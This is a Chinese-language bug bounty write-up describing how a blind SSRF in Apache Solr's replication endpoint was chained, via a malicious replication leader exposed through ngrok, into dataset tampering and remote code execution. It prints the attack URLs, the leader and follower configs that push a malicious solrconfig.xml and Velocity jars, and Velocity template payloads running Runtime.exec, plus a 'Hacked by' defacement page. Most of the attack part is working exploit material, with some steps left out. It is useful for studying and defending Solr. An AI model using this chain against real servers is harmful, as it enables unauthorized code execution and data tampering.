Solr服务器上的花式远程代码执行（RCE）

从盲SSRF到RCE：如何在Solr服务器上实现数据篡改和代码执行！

在网络安全的世界里，漏洞的发现和利用往往充满了曲折和惊喜。今天，我们要分享的是一次极具挑战性的漏洞挖掘经历——如何在一个看似普通的Solr服务器上，通过一系列复杂的操作，最终实现远程代码执行（RCE）。这个漏洞不仅考验了技术能力，更考验了耐心和创造力。虽然最终的结果有些不尽如人意，但这段经历绝对值得分享。让我们跟随笔者一起走进这个充满“花式操作”的漏洞故事！

一、前期工作

去年，笔者在同一私有项目的不同Solr服务器上发现了三个漏洞，其中部分漏洞已在本博客的另一篇文章中描述。笔者强烈建议阅读该文，因为它介绍了本文将要讨论的一些Solr核心概念。

在此期间，笔者还在其中一个仅存储欧洲区所有商店前端数据（产品名称、价格、链接等）的Solr服务器中发现了一个已知的盲SSRF漏洞（CVE-2021-27905）。该服务器允许自由查询且不包含任何敏感信息。由于这并非高危漏洞，笔者没有将它上报，而是计划将其作为未来复杂利用链的潜在组件。但最终搁置了这个想法，转向了其他无关项目。

数月后（撰写本文的两周前），笔者决定花更多时间在漏洞赏金项目上。首先复查了过往漏洞报告笔记，旨在通过回顾旧案进入状态，为不停地进行渗透测试做好心理准备，而根据经验，心理调节始终是我从事漏洞赏金工作中最具挑战性的环节。

带着更积极的心态，笔者回忆起曾在这个已斩获两个高危和一个严重漏洞的项目中留有盲SSRF时，立即决定重新审视。这次笔者将采取更深入的研究方法，全面探究Solr机制。快速验证该盲SSRF仍可利用后，正式开启工作。

二、认识盲SSRF

首要目标是透彻理解这个最初仅通过常规Solr漏洞扫描发现的盲SSRF。该漏洞位于核心的复制端点"/solr//replication"。Solr中的核心（core）即服务器中的独立数据集，本例中每个语言区域对应一个核心（如"de"代表德语）。触发漏洞的URL示例如下：

https://target.com/solr/de/replication?command=fetchindex&leaderUrl=https://attacker.com

为了深入了解此漏洞涉及的所有功能，需要查阅Solr文档。幸运的是，Apache维护了一个庞大的文档门户，因此很容易找到与索引复制相关的章节。通过文档，可以了解到复制功能允许在多个Solr实例之间构建基础设施，其中“主节点/服务器（leader）”实例将数据副本分发给“从节点/服务器（follower）”实例。主服务器负责数据更新，而从服务器处理查询。

参与此架构的每个实例都必须启用复制请求处理器（“/replication”），该处理器根据角色（主服务器或从服务器）接受一系列命令。例如，“fetchindex”命令允许从服务器在指定主服务器拉取索引副本。这意味着目标服务器作为从服务器，可以通过“fetchindex”命令指定任意主服务器进行一次性复制。

fetchindex Force the specified follower to fetch a copy of the index from its leader.http://_follower_host:port_/solr/_core_name_/replication?command=fetchindex 你可以传递额外的属性，例如 leaderUrl 或 compression（或在“配置从服务器”中描述的任何其他参数），以执行一次性从主服务器复制的操作。这避免了在从服务器配置中硬编码主服务器 URL 的需求。

这意味着目标Solr服务器作为从服务器，可通过"fetchindex"命令指定任意主服务器进行数据复制。

这使笔者萌生搭建恶意主服务器向目标注入数据的构想——若能修改该存储欧洲区所有商店数据的服务器，即可操控网站内容！虽然前景诱人，但前路漫漫。四处查看后，笔者还了解了其他复制命令，例如 "details"，它可用于获取复制配置：

https://target.com/solr/de/replication?command=details

在这种情况下，服务器返回了一个庞大的 JSON 响应，从这个输出中能够解读出的一点是，服务器还允许其他人从它那里复制数据，这意味着可能可以下载整个数据集。

这将非常有用，因为理论上，我们可以直接复制该数据集，插入一个测试条目，然后再将其分发回目标服务器。这样，我们就可以通过查询新添加的条目来证明自己有能力修改数据集，而不会影响公司商店的任何数据。

很好。现在的第一步是部署一个本地的Solr实例，并试试看我们是否能够从目标服务器复制数据集。

三、创建Solr实例

于是，笔者从Solr官网下载了最新的二进制发布版本，并按照他们的部署指南进行操作。这个二进制版本包含一个命令行工具，可以用来启动/停止Solr、管理核心等。这样，我们可以使用以下命令在端口 9000 上启动一个新的 Solr 服务器：

$ bin/solr start -p 9000

当 "start" 命令执行完成后，可以通过"http://127.0.0.1:9000/"访问管理界面。

下一步是创建一个核心（core）。以下命令会创建一个名为"hacefresk0"的空核心：

$ bin/solr create -c hacefresk0

然后，可以通过select请求处理程序对其进行查询：

接下来，需要为该核心配置复制（replication）请求处理程序，使其成为目标服务器的从属（follower）。为此，我需要编辑核心的配置文件，文件路径为"server/solr/hacefresk0/conf/solrconfig.xml"，并添加以下元素：

<requestHandlername="/replication"class="solr.ReplicationHandler"><lstname="slave"><strname="leaderUrl">https://target.com/solr/de/</str><strname="pollInterval">00:00:20</str></lst></requestHandler>

$ bin/solr stop; bin/solr start -p 9000 -Dsolr.disable.allowUrls=true

然后，再次执行"fetchindex"命令，成功从目标服务器复制了数据集！

现在可以在本地进行查询了：

此时，已成功复制了目标服务器的数据集，并添加了一个新的1337-elite-hacker记录。接下来，需要检查是否可以将该数据集分发回目标服务器，还是这只是一个无用的尝试。

四、将数据复制回目标服务器

为了将本地服务器配置为复制主服务器（replication leader），而不是从服务器（follower），我需要修改先前添加到核心配置文件中的复制请求处理程序（replication request handler）配置，如下所示：

<requestHandlername="/replication"class="solr.ReplicationHandler"><lstname="leader"><strname="replicateAfter">optimize</str><strname="backupAfter">optimize</str></lst></requestHandler>

然后，重新启动服务器以应用更改，并使用ngrok将本地主服务器暴露到互联网：

$ ngrok http 9000

为了检查复制主服务器是否正常工作，笔者首先在本地进行了测试，创建了一个名为"replica"的新核心，并将其配置为从服务器（follower），指向ngrok提供的URL：

<requestHandlername="/replication"class="solr.ReplicationHandler"><lstname="slave"><strname="leaderUrl">https://<ngrok_url>/solr/hacefresk0/</str><strname="pollInterval">00:00:20</str></lst></requestHandler>

执行"fetchindex"命令，成功从本地主服务器复制了数据集！

接下来，在目标服务器上执行该操作了,访问以下URL以触发复制：

https://target.com/solr/de/replication?command=fetchindex&leaderUrl=https://<ngrok_url>/solr/hacefresk0/

五、修改目标服务器的配置

confFiles 可选 | 默认值：无要复制到从服务器的配置文件，多个文件用逗号分隔。这些文件应包括像模式（schema）、停用词（stopwords）以及其他可能会在主服务器上更改，并需要在从服务器上更新以便用于查询的配置文件。[...]

<requestHandlername="/replication"class="solr.ReplicationHandler"><lstname="leader"><strname="replicateAfter">optimize</str><strname="backupAfter">optimize</str><strname="confFiles">hacefresk0-config.xml:solrconfig.xml</str></lst></requestHandler>

<requestHandlername="/replication"class="solr.ReplicationHandler"><lstname="slave"><strname="leaderUrl">https://leader.target.com:443/solr/de/</str><strname="pollInterval">00:00:20</str></lst></requestHandler>

下一步是尝试利用这个行为来实现远程代码执行（RCE）。

六、寻找RCE利用链

在这一点上，笔者开始寻找Solr中已知的RCE漏洞，并调查是否可以通过修改核心配置文件来触发其中的任何一个。除了阅读Solr文档外，笔者还查阅了许多有用的文章，例如这篇关于 "Solr 注入" 的文章 和 这篇专门讨论 Solr RCE 的文章。此外，笔者还查看了[nuclei模板库](https://github.com/search?q=repo%3Aprojectdiscovery%2Fnuclei-templatessolr&type=code)，这是一个很好的漏洞源。结果发现了有许多案例，在旧版本中可以通过配置文件启用危险功能，但之后开发者做了限制，要求只能通过Solr二进制文件或环境变量来管理。例如，远程流媒体就是一个例子。远程流媒体的功能就被限制了。另一个大限制是目标服务器只允许访问"/select"和"/replication"，这意味着无法使用任何最终依赖于其他请求处理程序的漏洞。经历了很多曲折的过程后，笔者最终使用了Velocity 模板，它是一种非常强大的基于Java的模板，过去曾被用来利用Solr。以下是一个简单的例子：

<html><body>    Hello $customer.Name! <table>      #foreach( $mud in $mudsOnSpecial )         #if ( $customer.hasPurchased($mud) ) <tr><td>$flogger.getPromo( $mud )</td></tr>        #end       #end </table></body></html>

<requestHandlername="/replication"class="solr.ReplicationHandler"><lstname="leader"><strname="replicateAfter">optimize</str><strname="backupAfter">optimize</str><strname="confFiles">solritas-0.9.5.jar,velocity-engine-core-2.1.jar,velocity-tools-generic-3.0.jar</str></lst></requestHandler>

对于从服务器，笔者配置了一个简单的从服务器复制请求处理程序，指向主服务器实例：

<requestHandlername="/replication"class="solr.ReplicationHandler"><lstname="slave"><strname="leaderUrl">http://localhost:9000/solr/leader/</str><strname="pollInterval">00:00:20</str></lst></requestHandler>

<libdir="conf/"regex=".*.jar"/><queryResponseWritername="velocity"class="solr.VelocityResponseWriter"><strname="template.base.dir"></str></queryResponseWriter>

#set($x='') #set($rt=$x.class.forName('java.lang.Runtime')) #set($chr=$x.class.forName('java.lang.Character')) #set($str=$x.class.forName('java.lang.String')) #set($ex=$rt.getRuntime().exec('id')) $ex.waitFor() #set($out=$ex.getInputStream()) #foreach($i in [1..$out.available()])     $str.valueOf($chr.toChars($out.read())) #end

<title>Hacked by hacefresk0</title> <h1>Hacked by hacefresk0</h1> <br> <pre> #set($x='') #set($rt=$x.class.forName('java.lang.Runtime')) #set($chr=$x.class.forName('java.lang.Character')) #set($str=$x.class.forName('java.lang.String')) #set($ex=$rt.getRuntime().exec('id')) $ex.waitFor() #set($out=$ex.getInputStream()) #foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end </pre>

<requestHandlername="/replication"class="solr.ReplicationHandler"><lstname="leader"><strname="replicateAfter">optimize</str><strname="backupAfter">optimize</str><strname="confFiles">malicious-solrconfig.xml:solrconfig.xml,solritas-0.9.5.jar,velocity-engine-core-2.1.jar,velocity-tools-generic-3.0.jar</str></lst></requestHandler>

<libdir="conf/"regex=".*.jar"/><queryResponseWritername="velocity"class="solr.VelocityResponseWriter"><strname="template.base.dir"></str></queryResponseWriter><requestHandlername="/replication"class="solr.ReplicationHandler"><lstname="slave"><strname="leaderUrl">https://leader.target.com:443/solr/de/</str><strname="pollInterval">00:00:20</str></lst></requestHandler>

https://target.com/solr/de/replication?command=fetchindex&leaderUrl=https://<ngrok_url>/solr/hacefresk0/